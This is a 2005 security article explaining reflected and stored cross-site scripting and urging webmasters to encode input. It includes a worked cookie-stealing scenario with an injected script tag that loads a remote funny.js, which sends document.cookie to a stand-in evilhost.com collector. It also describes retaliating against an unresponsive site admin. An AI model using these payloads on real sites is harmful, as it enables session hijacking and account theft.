

XSS Vulnerabilities, Underestimated and Dangerous

by: Zinho, 05/06/2005

<http://www.securitydocs.com/library/3261>

1.0 INTRO

In this little paper I will try to convince admins, webmasters, and in general everyone who is concerned, to secure a web site and how dangerous XSS holes can be.

I will not cover in depth what XSS is because there's a huge library on this topic available on the internet and at www.hackerscenter.com/library

2.0 XSS

So what's XSS? XSS stands for cross site scripting, that is a way to inject script code into a web page making it execute whenever the page loads or a specific event is triggered.

2.1 Temporary XSS

A reason this kind of bug is underestimated is due to the "temporary xss" as I used to call them. Temporary xss are script codes executed only when a script code within a crafted input is issued by the user.

Example:

```
http://vuln.host.com/search.asp?q= <plaintext>
```

The above example will inject a " <http://vuln.host.com/search.asp?q= <plaintext>> " tag in the search.asp page showing the source html code of the page The point here is: Whoever searched for

<http://vuln.host.com/search.asp?q= <plaintext>> will see the source code but doesn't imply any permanent alteration of the page.

2.2 Permanent XSS

A "permanent XSS" as I used to call them, are due to unsanitized input by a user that will be saved on a database for example. Each time these unsanitized fields are read from the database and printed on the page the script will be executed. (A lot of registration forms' server side scripts are affected by this kind of vulnerability)

3.0 Attacks

What I want to demonstrate in this article is how dangerous a temporary xss can be. Most of the webmasters (99%, believe me), treat this kind of bug as very very low level issue because of the reasons we have seen. They think it is even a loss of time to sanitize input that doesn't go into a database.

What they seem to be unable to understand is that whenever a malicious user is able to run a client side script from their domain name a cookie stealing attack can be *easily* taken. This becomes a high level risk vulnerability when we deal with ecommerce sites, webmail services, and similar.

3.1 Scenario 1

Let's assume that we've found a xss vuln into 2 sites. The first will be used as the "dumb" (A) site, that has a permanent xss hole, while the latter will be a big shopping portal (B) I want to steal cookie from, that has "just" a little innocent temporary xss

hole.

We mail the big shopping portal admin about the vulnerability, trying to make him understand how serious the bug is. He never reply. So we decide to have some fun...innocent fun..as much innocent as their xss hole was, I suppose...

What one could do is inject a stealth script into the dumb site to force (always stealthly) every visitor of site A to load the vulnerable url we have found into site B. Here anyone can understand that even

`http://vuln.host.com/search.asp?q= <plaintext>` is now very very useful for our purpose.

Instead of `http://vuln.host.com/search.asp?q= <plaintext>` , we can use something like this:

```
http://vuln.host.com/search.asp?q= <script src='http://myhosting.com/xsstrials/funny.js'></script>
```

Funny.js will be our malicious script code that will be run on vuln.host.com domain ...and it will be similar to this:

```
// Funny.js
navigate to 'evilhost.com/collect_cookies.asp?cookie=' + document.cookie
//
```

where collect_cookies.asp will be a server side script that will collect everything passed by parameter "cookie" and evilhost.com can be a hosting space set up by the malicious attacker.

So what happens here?

1. A user visits dumb site thus triggering our permanent xss.
2. The permanent xss will load the page
`http://vuln.host.com/search.asp?q= <script src='http://myhosting.com/xsstrials/funny.js'></script>` that executes funny.js thanks to the temporary xss hole in the big shopping portal.
3. funny.js is now loaded on the big shopping portal domain name letting us steal the cookie (and the login data) of the dumb site visitor.

By "stealth script" we mean a script that doesn't change the appearance of the page so that no one will notice any background work.

Side effects

In this section I will show some side effects of the xss disease that are often forgotten or misunderstood by a lot of analysts/webmasters.

The xss holes, permanent and temporary ones, can be used to attack a local victim (visitor of the vulnerable site) directly by injecting a malicious code capable of exploiting a local vulnerability of the victims system. This has become very common (and easy to do) because of the tons of vulnerabilities that affect Internet Explorer and the browsers in general.

Let's take for example a xss hole into trustedsite.com. Anyone could take advantage of the trust of this domain to execute code with high privilege levels, executing or installing malicious activex. This kind of approach can be taken into Internet Explorer and in general in all the browsers that use the so called trusted "Zones".

Another important issue that can make a simple XSS hole a high level risk issue is the capability of attacking thousands computers in a few hours or even into minutes according to the traffic of the vulnerable page. This kind of practice can lead to malware/adware spread. If a high traffic page is vulnerable to a permanent xss, a malware/worm/adware coder can choose

this kind of approach to put the seeds of his worm, making it spread in a stealth manner and within a short time.

How to solve the problem

Incredibly, XSS holes are the most simple to solve and fix. They usually involve script tags but not always. Less known code can use the image tag with dynsrc or src parameters and "javascript:alert('aaa')" as an argument or the `</style>` tag e.g. :

```
<style type="text/javascript">script goes here</style>
```

In general the characters to be sanitized are the usual "<" and ">" but there are more to be carefully escaped: `&{code};` will run the code into netscape / mozilla browsers so "&{" combination of chars should be sanitized too. In the 99% of the cases an "HTML Encode" would solve the problem. In asp it can be easily done with the inbuilt function `server.htmlencode` (myparameter).

Author

Zinho is the webmaster of <http://www.hackerscenter.com>, a leading site into hacking industry, now a Security Research portal. Thanks goes to Dcrab, faithful member of hackerscenter.com security group and to anybody that had the patience to read this little paper.

Quote: It doesn't matter what your site looks like, if anyone can sweep it out in a few seconds...

Zinho

<http://www.hackerscenter.com>